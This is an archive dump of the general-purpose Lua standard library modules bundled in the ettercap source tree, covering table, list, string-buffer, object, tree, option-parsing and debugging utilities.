prog.usage then usage = prog.usage end usage = "Usage: " .. prog.name .. " " .. usage if prog.purpose then purpose = "\n\n" .. prog.purpose end if prog.description then for para in list.elems (string.split (prog.description, "\n")) do description = description .. "\n\n" .. string.wrap (para) end end if prog.notes then notes = "\n\n" if not string.find (prog.notes, "\n") then notes = notes .. string.wrap (prog.notes) else notes = notes .. prog.notes end end local header = usage .. purpose .. description io.writelines (usageInfo (header, prog.options) .. notes) end local function version (prog) local version = prog.version or prog.name or "unknown version!" if prog.copyright then version = version .. "\n\n" .. prog.copyright end io.writelines (version) end --- Simple getOpt wrapper. -- If the caller didn't supply their own already, -- adds --version/-V and -- --help/-h options automatically; -- stops program if there was an error, or if --help or -- --version was used. -- @param prog table of named parameters -- @param ... extra arguments for getOpt local function processArgs (prog, ...) local totArgs = #_G.arg local errors prog.options = makeOptions (prog.options) _G.arg, M.opt, errors = getOpt (_G.arg, prog.options, ...) local opt = M.opt if (opt.version or opt.help) and prog.banner then io.writelines (prog.banner) end if #errors > 0 then local name = prog.name prog.name = nil if #errors > 0 then warn (name .. ": " .. table.concat (errors, "\n")) warn (name .. ": Try '" .. (arg[0] or name) .. " --help' for more help") end if #errors > 0 then error () end elseif opt.version then version (prog) elseif opt.help then usage (prog) end if opt.version or opt.help then os.exit () end end -- Public interface return table.merge (M, { getOpt = getOpt, processArgs = processArgs, usage = usage, usageInfo = usageInfo, }) ettercap-0.8.3/src/lua/share/third-party/stdlib/src/table_ext.lua0000644000175000017500000000567513505247364024654 0ustar koeppeakoeppea-- Extensions to the table module --local list = require "list" FIXME: allow require loops local _sort = table.sort --- Make table.sort return its result. -- @param t table -- @param c comparator function -- @return sorted table local function sort (t, c) _sort (t, c) return t end --- Return whether table is empty. -- @param t table -- @return true if empty or false otherwise local function empty (t) return not next (t) end --- Find the number of elements in a table. -- @param t table -- @return number of elements in t local function size (t) local n = 0 for _ in pairs (t) do n = n + 1 end return n end --- Make the list of keys of a table. -- @param t table -- @return list of keys local function keys (t) local u = {} for i, v in pairs (t) do table.insert (u, i) end return u end --- Make the list of values of a table. -- @param t table -- @return list of values local function values (t) local u = {} for i, v in pairs (t) do table.insert (u, v) end return u end --- Invert a table. -- @param t table {i=v, ...} -- @return inverted table {v=i, ...} local function invert (t) local u = {} for i, v in pairs (t) do u[v] = i end return u end --- Make a shallow copy of a table, including any metatable (for a -- deep copy, use tree.clone). -- @param t table -- @param nometa if non-nil don't copy metatable -- @return copy of table local function clone (t, nometa) local u = {} if not nometa then setmetatable (u, getmetatable (t)) end for i, v in pairs (t) do u[i] = v end return u end --- Clone a table, renaming some keys. -- @param map table {old_key=new_key, ...} -- @param t table to copy -- @return copy of table local function clone_rename (map, t) local r = clone (t) for i, v in pairs (map) do r[v] = t[i] r[i] = nil end return r end --- Merge one table into another. u is merged into t. -- @param t first table -- @param u second table -- @return first table local function merge (t, u) for i, v in pairs (u) do t[i] = v end return t end --- Make a table with a default value for unset keys. -- @param x default entry value (default: nil) -- @param t initial table (default: {}) -- @return table whose unset elements are x local function new (x, t) return setmetatable (t or {}, {__index = function (t, i) return x end}) end -- Save original unextended table. local unextended = clone (table) local M = { clone = clone, clone_rename = clone_rename, empty = empty, invert = invert, keys = keys, merge = merge, new = new, size = size, sort = sort, values = values, } -- Inject stdlib extensions directly into the table package. _G.table = merge (table, M) return unextended ettercap-0.8.3/src/lua/share/third-party/stdlib/src/std.lua.in0000644000175000017500000000106313505247364024067 0ustar koeppeakoeppea--- Lua standard library --
    --
  • TODO: Write a style guide (indenting/wrapping, capitalisation, -- function and variable names); library functions should call -- error, not die; OO vs non-OO (a thorny problem).
  • --
  • TODO: Add tests for each function immediately after the function; -- this also helps to check module dependencies.
  • --
  • TODO: pre-compile.
  • --
local version = "General Lua libraries / @VERSION@" for _, m in ipairs (require "modules") do _G[m] = require (m) end local M = { version = version, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/mbox.lua0000644000175000017500000000253213505247364023637 0ustar koeppeakoeppea--- mbox parser. -- Based on code by Diego Nahab. local function headers (s) local header = {} s = "\n" .. s .. "$$$:\n" local i, j = 1, 1 while true do j = string.find (s, "\n%S-:", i + 1) if not j then break end local _, _, name, val = string.find (string.sub (s, i + 1, j - 1), "(%S-):(.*)") val = string.gsub (val or "", "\r\n", "\n") val = string.gsub (val, "\n%s*", " ") name = string.lower (name) if header[name] then header[name] = header[name] .. ", " .. val else header[name] = val end i, j = j, i end header["$$$"] = nil return header end local function message (s) s = string.gsub (s, "^.-\n", "") local _, s, body _, _, s, body = string.find(s, "^(.-\n)\n(.*)") return {header = headers (s or ""), body = body or ""} end --- Parse a mailbox into messages. -- @param s mailbox as a string -- @return list of messages, each of form {header = {...}, body = "..."} local function parse (s) local mbox = {} s = "\n" .. s .. "\nFrom " local i, j = 1, 1 while true do j = string.find (s, "\nFrom ", i + 1) if not j then break end table.insert (mbox, message (string.sub (s, i + 1, j - 1))) i, j = j, i end return mbox end -- Public interface local M = { parse = parse, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/strbuf.lua0000644000175000017500000000127613505247364024203 0ustar koeppeakoeppea--- String buffers --- Create a new string buffer local metatable = {} local function new () return setmetatable ({}, metatable) end --- Add a string to a buffer -- @param b buffer -- @param s string to add -- @return buffer local function concat (b, s) table.insert (b, s) return b end --- Convert a buffer to a string -- @param b buffer -- @return string local function tostring (b) return table.concat (b) end -- Public interface local M = { concat = concat, new = new, tostring = tostring, } --- Metamethods for string buffers -- buffer:method () metatable.__index = M -- buffer .. string metatable.__concat = concat -- tostring metatable.__tostring = tostring return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/object.lua0000644000175000017500000000356713505247364024151 0ustar koeppeakoeppea--- Prototype-based objects --
    --
  • Create an object/class:
  • --
      --
    • Either, if the _init field is a list: --
        --
      • object/Class = prototype {value, ...; field = value, ...}
      • --
      • Named values are assigned to the corresponding fields, and unnamed values -- to the fields given by _init.
      • --
      --
    • Or, if the _init field is a function: --
        --
      • object/Class = prototype (value, ...)
      • --
      • The given values are passed as arguments to the _init function.
      • --
      --
    • An object's metatable is itself.
    • --
    • Private fields and methods start with "_".
    • --
    --
  • Access an object field: object.field
  • --
  • Call an object method: object:method (...)
  • --
  • Call a class method: Class.method (object, ...)
  • --
  • Add a field: object.field = x
  • --
  • Add a method: function object:method (...) ... end
  • -- require "table_ext" --- Root object -- @class table -- @name Object -- @field _init constructor method or list of fields to be initialised by the -- constructor -- @field _clone object constructor which provides the behaviour for _init -- documented above local Object = { _init = {}, _clone = function (self, ...) local object = table.clone (self) if type (self._init) == "table" then table.merge (object, table.clone_rename (self._init, ...)) else object = self._init (object, ...) end return setmetatable (object, object) end, -- Sugar instance creation __call = function (...) -- First (...) gets first element of list return (...)._clone (...) end, } setmetatable (Object, Object) return Object ettercap-0.8.3/src/lua/share/third-party/stdlib/src/math_ext.lua0000644000175000017500000000134513505247364024504 0ustar koeppeakoeppea--- Additions to the math module. module ("math", package.seeall) local _floor = floor --- Extend math.floor to take the number of decimal places. -- @param n number -- @param p number of decimal places to truncate to (default: 0) -- @return n truncated to p decimal places function floor (n, p) if p and p ~= 0 then local e = 10 ^ p return _floor (n * e) / e else return _floor (n) end end --- Round a number to a given number of decimal places -- @param n number -- @param p number of decimal places to round to (default: 0) -- @return n rounded to p decimal places function round (n, p) local e = 10 ^ (p or 0) return _floor (n * e + 0.5) / e end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/fstable.lua0000644000175000017500000000557313505247364024322 0ustar koeppeakoeppea--- Tables mapped to the filing system -- Only string keys are permitted; package.dirsep characters are -- converted to underscores. -- Values are stored as strings (converted by tostring). -- As with disk operations, a table's elements must be set to nil -- (deleted) before the table itself can be set to nil. require "io_ext" require "table_ext" require "io_ext" require "lfs" require "posix" local new local function fsnext (dir) local f repeat f = dir:next () until f ~= "." and f ~= ".." return f end -- Metamethods for persistent tables local metatable = {} metatable.__index = function (t, k) local path = io.catfile (getmetatable (t).directory, k) local attrs = lfs.attributes (path) if attrs then if attrs.mode == "file" then return io.slurp (path) elseif attrs.mode == "directory" then return new (path) end end return attrs end metatable.__newindex = function (t, k, v) local ty = type (v) if ty == "thread" or ty == "function" or ty == "userdata" then error ("cannot persist a " .. ty .. "") elseif type (k) ~= "string" then error ("keys of persistent tables must be of type string") else k = string.gsub (k, package.dirsep, "_") local path = io.catfile (getmetatable (t).directory, k) local vm = getmetatable (v) if v == nil then os.remove (path) elseif type (v) ~= "table" then local h = io.open (path, "w") h:write (tostring (v)) h:close () elseif type (vm) == "table" and vm.metatable == metatable then -- To match Lua semantics we'd hardlink, but that's not allowed for directories local ok, errmsg = posix.link (vm.directory, path, true) else local ok, errmsg = lfs.mkdir (path) if not ok then error (errmsg) end new (path, v) end end end metatable.__pairs = function (t) local _, dir = lfs.dir (getmetatable (t).directory) return function (dir) local f = fsnext (dir) if f then return f, t[f] end end, dir end metatable.__ipairs = function (t) local _, dir = lfs.dir (getmetatable (t).directory) return function (dir, i) local f = fsnext (dir) if f then return i + 1, f end end, dir, 0 end --- Bind a directory to a table -- @param path directory path -- @param t table to merge with directory -- @return table bound to directory function new (path, t) if not path:find ("^" .. package.dirsep) then path = io.catfile (lfs.currentdir (), path) end if lfs.attributes (path, "mode") ~= "directory" then error ("`" .. path .. "' does not exist or is not a directory") end local m = table.clone (metatable) m.directory = path m.metatable = metatable local d = setmetatable ({}, m) if t then for i, v in pairs (t) do d[i] = v end end return d end local M = { new = new, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/tree.lua0000644000175000017500000000450413505247364023632 0ustar koeppeakoeppea--- Tables as trees. local list = require "list" local metatable = {} --- Make a table into a tree -- @param t table -- @return tree local function new (t) return setmetatable (t or {}, metatable) end --- Tree __index metamethod. -- @param tr tree -- @param i non-table, or list of keys {i1 ... -- in} -- @return tr[i]...[in] if i is a table, or -- tr[i] otherwise function metatable.__index (tr, i) -- FIXME: the following doesn't treat list keys correctly -- e.g. tr[{{1, 2}, {3, 4}}], maybe flatten first? if type (i) == "table" and #i > 0 then return list.foldl (op["[]"], tr, i) else return rawget (tr, i) end end --- Tree __newindex metamethod. -- Sets tr[i1]...[in] = v if i is a -- table, or tr[i] = v otherwise -- @param tr tree -- @param i non-table, or list of keys {i1 ... -- in} -- @param v value function metatable.__newindex (tr, i, v) if type (i) == "table" then for n = 1, #i - 1 do if getmetatable (tr[i[n]]) ~= metatable then rawset (tr, i[n], new ()) end tr = tr[i[n]] end rawset (tr, i[#i], v) else rawset (tr, i, v) end end --- Make a deep copy of a tree, including any metatables -- @param t table -- @param nometa if non-nil don't copy metatables -- @return copy of table local function clone (t, nometa) local r = {} if not nometa then setmetatable (r, getmetatable (t)) end local d = {[t] = r} local function copy (o, x) for i, v in pairs (x) do if type (v) == "table" then if not d[v] then d[v] = {} if not nometa then setmetatable (d[v], getmetatable (v)) end o[i] = copy (d[v], v) else o[i] = d[v] end else o[i] = v end end return o end return copy (r, t) end --- Deep-merge one tree into another. u is merged into --- t. -- @param t first tree -- @param u second tree -- @return first tree local function merge (t, u) for ty, p, n in nodes (u) do if ty == "leaf" then t[p] = n end end return t end -- Public interface local M = { clone = clone, merge = merge, new = new, } return M ettercap-0.8.3/src/lua/share/third-party/stdlib/src/strict.lua0000644000175000017500000000201313505247364024174 0ustar koeppeakoeppea--- Checks uses of undeclared global variables. -- All global variables must be 'declared' through a regular -- assignment (even assigning nil will do) in a top-level -- chunk before being used anywhere or assigned to inside a function. -- From Lua distribution (etc/strict.lua). -- @class module -- @name strict local getinfo, error, rawset, rawget = debug.getinfo, error, rawset, rawget local mt = getmetatable (_G) if mt == nil then mt = {} setmetatable (_G, mt) end mt.__declared = {} local function what () local d = getinfo (3, "S") return d and d.what or "C" end mt.__newindex = function (t, n, v) if not mt.__declared[n] then local w = what () if w ~= "main" and w ~= "C" then error ("assignment to undeclared variable '" .. n .. "'", 2) end mt.__declared[n] = true end rawset (t, n, v) end mt.__index = function (t, n) if not mt.__declared[n] and what () ~= "C" then error ("variable '" .. n .. "' is not declared", 2) end return rawget (t, n) end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/base.lua0000644000175000017500000003216013505247364023604 0ustar koeppeakoeppea--- Adds to the existing global functions module ("base", package.seeall) --- Functional forms of infix operators. -- Defined here so that other modules can write to it. -- @class table -- @name _G.op _G.op = {} require "table_ext" local list = require "list" require "string_ext" --require "io_ext" FIXME: allow loops local strbuf = require "strbuf" --- Require a module with a particular version -- @param module module to require -- @param min lowest acceptable version (default: any) -- @param too_big lowest version that is too big (default: none) -- @pattern pattern to match version in module.version or -- module.VERSION (default: ".*[%.%d]+" function _G.require_version (module, min, too_big, pattern) local function version_to_list (v) return list.new (string.split (v, "%.")) end local function module_version (module, pattern) return version_to_list (string.match (module.version or module._VERSION, pattern or ".*[%.%d]+")) end local m = require (module) if min then assert (module_version (m, pattern) >= version_to_list (min)) end if too_big then assert (module_version (m, pattern) < version_to_list (too_big)) end return m end --- Return given metamethod, if any, or nil. -- @param x object to get metamethod of -- @param n name of metamethod to get -- @return metamethod function or nil if no metamethod or not a -- function function _G.metamethod (x, n) local _, m = pcall (function (x) return getmetatable (x)[n] end, x) if type (m) ~= "function" then m = nil end return m end --- Turn tables into strings with recursion detection. -- N.B. Functions calling render should not recurse, or recursion -- detection will not work. -- @see render_OpenRenderer, render_CloseRenderer -- @see render_ElementRenderer, render_PairRenderer -- @see render_SeparatorRenderer -- @param x object to convert to string -- @param open open table renderer -- @param close close table renderer -- @param elem element renderer -- @param pair pair renderer -- @param sep separator renderer -- @return string representation function _G.render (x, open, close, elem, pair, sep, roots) local function stop_roots (x) return roots[x] or render (x, open, close, elem, pair, sep, table.clone (roots)) end roots = roots or {} if type (x) ~= "table" or metamethod (x, "__tostring") then return elem (x) else local s = strbuf.new () s = s .. open (x) roots[x] = elem (x) local i, v = nil, nil for j, w in pairs (x) do s = s .. sep (x, i, v, j, w) .. pair (x, j, w, stop_roots (j), stop_roots (w)) i, v = j, w end s = s .. sep(x, i, v, nil, nil) .. close (x) return s:tostring () end end --- -- @class function -- @name render_OpenRenderer -- @param t table -- @return open table string --- -- @class function -- @name render_CloseRenderer -- @param t table -- @return close table string --- -- @class function -- @name render_ElementRenderer -- @param e element -- @return element string --- -- @class function -- @name render_PairRenderer -- N.B. the function should not try to render i and v, or treat -- them recursively. -- @param t table -- @param i index -- @param v value -- @param is index string -- @param vs value string -- @return element string --- -- @class function -- @name render_SeparatorRenderer -- @param t table -- @param i preceding index (nil on first call) -- @param v preceding value (nil on first call) -- @param j following index (nil on last call) -- @param w following value (nil on last call) -- @return separator string --- Extend tostring to work better on tables. -- The original tostring is available as _tostring. -- @class function -- @name _G.tostring -- @param x object to convert to string -- @return string representation _G._tostring = tostring -- make original tostring available local _tostring = tostring function _G.tostring (x) return render (x, function () return "{" end, function () return "}" end, _tostring, function (t, _, _, i, v) return i .. "=" .. v end, function (_, i, _, j) if i and j then return "," end return "" end) end --- Pretty-print a table. -- @param t table to print -- @param indent indent between levels ["\t"] -- @param spacing space before every line -- @return pretty-printed string function _G.prettytostring (t, indent, spacing) indent = indent or "\t" spacing = spacing or "" return render (t, function () local s = spacing .. "{" spacing = spacing .. indent return s end, function () spacing = string.gsub (spacing, indent .. "$", "") return spacing .. "}" end, function (x) if type (x) == "string" then return string.format ("%q", x) else return tostring (x) end end, function (x, i, v, is, vs) local s = spacing .. "[" if type (i) == "table" then s = s .. "\n" end s = s .. is if type (i) == "table" then s = s .. "\n" end s = s .. "] =" if type (v) == "table" then s = s .. "\n" else s = s .. " " end s = s .. vs return s end, function (_, i) local s = "\n" if i then s = "," .. s end return s end) end --- Turn an object into a table according to __totable metamethod. -- @param x object to turn into a table -- @return table or nil function _G.totable (x) local m = metamethod (x, "__totable") if m then return m (x) elseif type (x) == "table" then return x else return nil end end --- Convert a value to a string. -- The string can be passed to dostring to retrieve the value. --
    TODO: Make it work for recursive tables. -- @param x object to pickle -- @return string such that eval (s) is the same value as x function _G.pickle (x) if type (x) == "string" then return string.format ("%q", x) elseif type (x) == "number" or type (x) == "boolean" or type (x) == "nil" then return tostring (x) else x = totable (x) or x if type (x) == "table" then local s, sep = "{", "" for i, v in pairs (x) do s = s .. sep .. "[" .. pickle (i) .. "]=" .. pickle (v) sep = "," end s = s .. "}" return s else die ("cannot pickle " .. tostring (x)) end end end --- Identity function. -- @param ... -- @return the arguments passed to the function function _G.id (...) return ... end --- Turn a tuple into a list. -- @param ... tuple -- @return list function _G.pack (...) return {...} end --- Partially apply a function. -- @param f function to apply partially -- @param ... arguments to bind -- @return function with ai already bound function _G.bind (f, ...) local fix = {...} return function (...) return f (unpack (list.concat (fix, {...}))) end end --- Curry a function. -- @param f function to curry -- @param n number of arguments -- @return curried version of f function _G.curry (f, n) if n <= 1 then return f else return function (x) return curry (bind (f, x), n - 1) end end end --- Compose functions. -- @param f1...fn functions to compose -- @return composition of f1 ... fn function _G.compose (...) local arg = {...} local fns, n = arg, #arg return function (...) local arg = {...} for i = n, 1, -1 do arg = {fns[i] (unpack (arg))} end return unpack (arg) end end --- Memoize a function, by wrapping it in a functable. -- @param fn function that returns a single result -- @return memoized function function _G.memoize (fn) return setmetatable ({}, { __call = function (self, ...) local k = tostring ({...}) local v = self[k] if v == nil then v = fn (...) self[k] = v end return v end }) end --- Evaluate a string. -- @param s string -- @return value of string function _G.eval (s) return loadstring ("return " .. s)() end --- An iterator like ipairs, but in reverse. -- @param t table to iterate over -- @return iterator function -- @return the table, as above -- @return #t + 1 function _G.ripairs (t) return function (t, n) n = n - 1 if n > 0 then return n, t[n] end end, t, #t + 1 end --- -- @class function -- @name tree_Iterator -- @param n current node -- @return type ("leaf", "branch" (pre-order) or "join" (post-order)) -- @return path to node ({i1...ik}) -- @return node local function _nodes (it, tr) local p = {} local function visit (n) if type (n) == "table" then coroutine.yield ("branch", p, n) for i, v in it (n) do table.insert (p, i) visit (v) table.remove (p) end coroutine.yield ("join", p, n) else coroutine.yield ("leaf", p, n) end end return coroutine.wrap (visit), tr end --- Tree iterator. -- @see tree_Iterator -- @param tr tree to iterate over -- @return iterator function -- @return the tree, as above function _G.nodes (tr) return _nodes (pairs, tr) end --- Tree iterator over numbered nodes, in order. -- @see tree_Iterator -- @param tr tree to iterate over -- @return iterator function -- @return the tree, as above function _G.inodes (tr) return _nodes (ipairs, tr) end local function _leaves (it, tr) local function visit (n) if type (n) == "table" then for _, v in it (n) do visit (v) end else coroutine.yield (n) end end return coroutine.wrap (visit), tr end --- Tree iterator which returns just numbered leaves, in order. -- @param tr tree to iterate over -- @return iterator function -- @return the tree, as above function _G.ileaves (tr) return _leaves (ipairs, tr) end --- Tree iterator which returns just leaves. -- @param tr tree to iterate over -- @return iterator function -- @return the tree, as above function _G.leaves (tr) return _leaves (pairs, tr) end --- Collect the results of an iterator. -- @param i iterator -- @return results of running the iterator on its arguments function _G.collect (i, ...) local t = {} for e in i (...) do table.insert (t, e) end return t end --- Map a function over an iterator. -- @param f function -- @param i iterator -- @return result table function _G.map (f, i, ...) local t = {} for e in i (...) do local r = f (e) if r then table.insert (t, r) end end return t end --- Filter an iterator with a predicate. -- @param p predicate -- @param i iterator -- @return result table containing elements e for which p (e) function _G.filter (p, i, ...) local t = {} for e in i (...) do if p (e) then table.insert (t, e) end end return t end --- Fold a binary function into an iterator. -- @param f function -- @param d initial first argument -- @param i iterator -- @return result function _G.fold (f, d, i, ...) local r = d for e in i (...) do r = f (r, e) end return r end --- Extend to allow formatted arguments. -- @param v value to assert -- @param f format -- @param ... arguments to format -- @return value function _G.assert (v, f, ...) if not v then if f == nil then f = "" end error (string.format (f, ...)) end return v end --- Give warning with the name of program and file (if any). -- @param ... arguments for format function _G.warn (...) if prog.name then io.stderr:write (prog.name .. ":") end if prog.file then io.stderr:write (prog.file .. ":") end if prog.line then io.stderr:write (tostring (prog.line) .. ":") end if prog.name or prog.file or prog.line then io.stderr:write (" ") end io.writelines (io.stderr, string.format (...)) end --- Die with error. -- @param ... arguments for format function _G.die (...) warn (...) error () end -- Function forms of operators. -- FIXME: Make these visible in LuaDoc (also list.concat in list) _G.op["[]"] = function (t, s) return t[s] end _G.op["+"] = function (a, b) return a + b end _G.op["-"] = function (a, b) return a - b end _G.op["*"] = function (a, b) return a * b end _G.op["/"] = function (a, b) return a / b end _G.op["and"] = function (a, b) return a and b end _G.op["or"] = function (a, b) return a or b end _G.op["not"] = function (a) return not a end _G.op["=="] = function (a, b) return a == b end _G.op["~="] = function (a, b) return a ~= b end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/debug_ext.lua0000644000175000017500000000431113505247364024635 0ustar koeppeakoeppea--- Additions to the debug module module ("debug", package.seeall) require "debug_init" require "io_ext" require "string_ext" --- To activate debugging set _DEBUG either to any true value -- (equivalent to {level = 1}), or as documented below. -- @class table -- @name _DEBUG -- @field level debugging level -- @field call do call trace debugging -- @field std do standard library debugging (run examples & test code) --- Print a debugging message -- @param n debugging level, defaults to 1 -- @param ... objects to print (as for print) function say (n, ...) local level = 1 local arg = {n, ...} if type (arg[1]) == "number" then level = arg[1] table.remove (arg, 1) end if _DEBUG and ((type (_DEBUG) == "table" and type (_DEBUG.level) == "number" and _DEBUG.level >= level) or level <= 1) then io.writelines (io.stderr, table.concat (list.map (tostring, arg), "\t")) end end --- -- The global function debug is an abbreviation for -- debug.say (1, ...) -- @class function -- @name debug -- @see say getmetatable (_M).__call = function (self, ...) say (1, ...) end --- Trace function calls -- Use as debug.sethook (trace, "cr"), which is done automatically -- when _DEBUG.call is set. -- Based on test/trace-calls.lua from the Lua distribution. -- @class function -- @name trace -- @param event event causing the call local level = 0 function trace (event) local t = getinfo (3) local s = " >>> " .. string.rep (" ", level) if t ~= nil and t.currentline >= 0 then s = s .. t.short_src .. ":" .. t.currentline .. " " end t = getinfo (2) if event == "call" then level = level + 1 else level = math.max (level - 1, 0) end if t.what == "main" then if event == "call" then s = s .. "begin " .. t.short_src else s = s .. "end " .. t.short_src end elseif t.what == "Lua" then s = s .. event .. " " .. (t.name or "(Lua)") .. " <" .. t.linedefined .. ":" .. t.short_src .. ">" else s = s .. event .. " " .. (t.name or "(C)") .. " [" .. t.what .. "]" end io.writelines (io.stderr, s) end -- Set hooks according to _DEBUG if type (_DEBUG) == "table" and _DEBUG.call then sethook (trace, "cr") end ettercap-0.8.3/src/lua/share/third-party/stdlib/src/list.lua0000644000175000017500000002632413505247364023652 0ustar koeppeakoeppea--- Tables as lists. require "base" local new -- forward declaration --- An iterator over the elements of a list. -- @param l list to iterate over -- @return iterator function which returns successive elements of the list -- @return the list l as above -- @return true local function elems (l) local n = 0 return function (l) n = n + 1 if n <= #l then return l[n] end end, l, true end --- An iterator over the elements of a list, in reverse. -- @param l list to iterate over -- @return iterator function which returns precessive elements of the list -- @return the list l as above -- @return true local function relems (l) local n = #l + 1 return function (l) n = n - 1 if n > 0 then return l[n] end end, l, true end --- Map a function over a list. -- @param f function -- @param l list -- @return result list {f (l[1]), ..., f (l[#l])} local function map (f, l) return _G.map (f, elems, l) end --- Map a function over a list of lists. -- @param f function -- @param ls list of lists -- @return result list {f (unpack (ls[1]))), ..., f (unpack (ls[#ls]))} local function mapWith (f, l) return _G.map (compose (f, unpack), elems, l) end --- Filter a list according to a predicate. -- @param p predicate (function of one argument returning a boolean) -- @param l list of lists -- @return result list containing elements e of -- l for which p (e) is true local function filter (p, l) return _G.filter (p, elems, l) end --- Return a sub-range of a list. (The equivalent of string.sub -- on strings; negative list indices count from the end of the list.) -- @param l list -- @param from start of range (default: 1) -- @param to end of range (default: #l) -- @return {l[from], ..., l[to]} local function sub (l, from, to) local r = new () local len = #l from = from or 1 to = to or len if from < 0 then from = from + len + 1 end if to < 0 then to = to + len + 1 end for i = from, to do table.insert (r, l[i]) end return r end --- Return a list with its first element removed. -- @param l list -- @return {l[2], ..., l[#l]} local function tail (l) return sub (l, 2) end --- Fold a binary function through a list left associatively. -- @param f function -- @param e element to place in left-most position -- @param l list -- @return result local function foldl (f, e, l) return fold (f, e, elems, l) end --- Fold a binary function through a list right associatively. -- @param f function -- @param e element to place in right-most position -- @param l list -- @return result local function foldr (f, e, l) return fold (function (x, y) return f (y, x) end, e, relems, l) end --- Prepend an item to a list. -- @param l list -- @param x item -- @return {x, unpack (l)} local function cons (l, x) return {x, unpack (l)} end --- Append an item to a list. -- @param l list -- @param x item -- @return {l[1], ..., l[#l], x} local function append (l, x) local r = {unpack (l)} table.insert (r, x) return r end --- Concatenate lists. -- @param ... lists -- @return {l1[1], ..., -- l1[#l1], ..., ln[1], ..., -- ln[#ln]} local function concat (...) local r = new () for l in elems ({...}) do for v in elems (l) do table.insert (r, v) end end return r end --- Repeat a list. -- @param l list -- @param n number of times to repeat -- @return n copies of l appended together local function rep (l, n) local r = new () for i = 1, n do r = concat (r, l) end return r end --- Reverse a list. -- @param l list -- @return list {l[#l], ..., l[1]} local function reverse (l) local r = new () for i = #l, 1, -1 do table.insert (r, l[i]) end return r end --- Transpose a list of lists. -- This function in Lua is equivalent to zip and unzip in more -- strongly typed languages. -- @param ls {{l1,1, ..., l1,c}, ..., -- {lr,1, ..., lr,c}} -- @return {{l1,1, ..., lr,1}, ..., -- {l1,c, ..., lr,c}} local function transpose (ls) local rs, len = new (), #ls for i = 1, math.max (unpack (map (function (l) return #l end, ls))) do rs[i] = new () for j = 1, len do rs[i][j] = ls[j][i] end end return rs end --- Zip lists together with a function. -- @param f function -- @param ls list of lists -- @return {f (ls[1][1], ..., ls[#ls][1]), ..., f (ls[1][N], ..., ls[#ls][N]) -- where N = max {map (function (l) return #l end, ls)} local function zipWith (f, ls) return mapWith (f, transpose (ls)) end --- Project a list of fields from a list of tables. -- @param f field to project -- @param l list of tables -- @return list of f fields local function project (f, l) return map (function (t) return t[f] end, l) end --- Turn a table into a list of pairs. --
    FIXME: Find a better name. -- @param t table {i1=v1, ..., -- in=vn} -- @return list {{i1, v1}, ..., -- {in, vn}} local function enpair (t) local ls = new () for i, v in pairs (t) do table.insert (ls, {i, v}) end return ls end --- Turn a list of pairs into a table. --
    FIXME: Find a better name. -- @param ls list {{i1, v1}, ..., -- {in, vn}} -- @return table {i1=v1, ..., -- in=vn} local function depair (ls) local t = {} for v in elems (ls) do t[v[1]] = v[2] end return t end --- Flatten a list. -- @param l list to flatten -- @return flattened list local function flatten (l) local r = new () for v in ileaves (l) do table.insert (r, v) end return r end --- Shape a list according to a list of dimensions. -- -- Dimensions are given outermost first and items from the original -- list are distributed breadth first; there may be one 0 indicating -- an indefinite number. Hence, {0} is a flat list, -- {1} is a singleton, {2, 0} is a list of -- two lists, and {0, 2} is a list of pairs. --
    -- Algorithm: turn shape into all positive numbers, calculating -- the zero if necessary and making sure there is at most one; -- recursively walk the shape, adding empty tables until the bottom -- level is reached at which point add table items instead, using a -- counter to walk the flattened original list. --
    -- @param s {d1, ..., dn} -- @param l list to reshape -- @return reshaped list -- FIXME: Use ileaves instead of flatten (needs a while instead of a -- for in fill function) local function shape (s, l) l = flatten (l) -- Check the shape and calculate the size of the zero, if any local size = 1 local zero for i, v in ipairs (s) do if v == 0 then if zero then -- bad shape: two zeros return nil else zero = i end else size = size * v end end if zero then s[zero] = math.ceil (#l / size) end local function fill (i, d) if d > #s then return l[i], i + 1 else local r = new () for j = 1, s[d] do local e e, i = fill (i, d + 1) table.insert (r, e) end return r, i end end return (fill (1, 1)) end --- Make an index of a list of tables on a given field -- @param f field -- @param l list of tables {t1, ..., -- tn} -- @return index {t1[f]=1, ..., -- tn[f]=n} local function indexKey (f, l) local r = new () for i, v in ipairs (l) do local k = v[f] if k then r[k] = i end end return r end --- Copy a list of tables, indexed on a given field -- @param f field whose value should be used as index -- @param l list of tables {i1=t1, ..., -- in=tn} -- @return index {t1[f]=t1, ..., -- tn[f]=tn} local function indexValue (f, l) local r = new () for i, v in ipairs (l) do local k = v[f] if k then r[k] = v end end return r end permuteOn = indexValue --- Compare two lists element by element left-to-right -- @param l first list -- @param m second list -- @return -1 if l is less than m, 0 if they -- are the same, and 1 if l is greater than m local function compare (l, m) for i = 1, math.min (#l, #m) do if l[i] < m[i] then return -1 elseif l[i] > m[i] then return 1 end end if #l < #m then return -1 elseif #l > #m then return 1 end return 0 end -- Methods for lists local methods = { append = append, compare = compare, concat = concat, cons = cons, depair = depair, elems = elems, filter = function (self, p) return filter (p, self) end, flatten = flatten, foldl = function (self, f, e) return foldl (f, e, self) end, foldr = function (self, f, e) return foldr (f, e, self) end, indexKey = function (self, f) return indexKey (self, f) end, indexValue = function (self, f) return indexValue (self, f) end, map = function (self, f) return map (f, self) end, mapWith = function (self, f) return mapWith (f, self) end, project = function (self, f) return project (f, self) end, relems = relems, rep = rep, reverse = reverse, shape = function (self, s) return shape (s, self) end, sub = sub, tail = tail, transpose = transpose, zipWith = function (self, f) return zipWith (f, self) end, } -- Metamethods for lists local metatable = { -- list .. table = list.concat __concat = concat, -- list == list retains its referential meaning -- list < list = list.compare returns < 0 __lt = function (l, m) return compare (l, m) < 0 end, -- list <= list = list.compare returns <= 0 __le = function (l, m) return compare (l, m) <= 0 end, __append = append, __index = methods, } --- List constructor. -- Needed in order to use metamethods. -- @param t list (as a table), or nil for empty list -- @return list (with list metamethods) function new (l) return setmetatable (l or {}, metatable) end -- Function forms of operators _G.op[".."] = concat -- Public interface local M = { append = append, compare = compare, concat = concat, cons = cons, depair = depair, elems = elems, enpair = enpair, filter = filter, flatten = flatten, foldl = foldl, foldr = foldr, indexKey = indexKey, indexValue = indexValue, new = new, map = map, mapWith = mapWith, project = project, relems = relems, rep = rep, reverse = reverse, shape = shape, slice = sub, -- backwards compatibility sub = sub, tail = tail, transpose = transpose, zipWith = zipWith, } 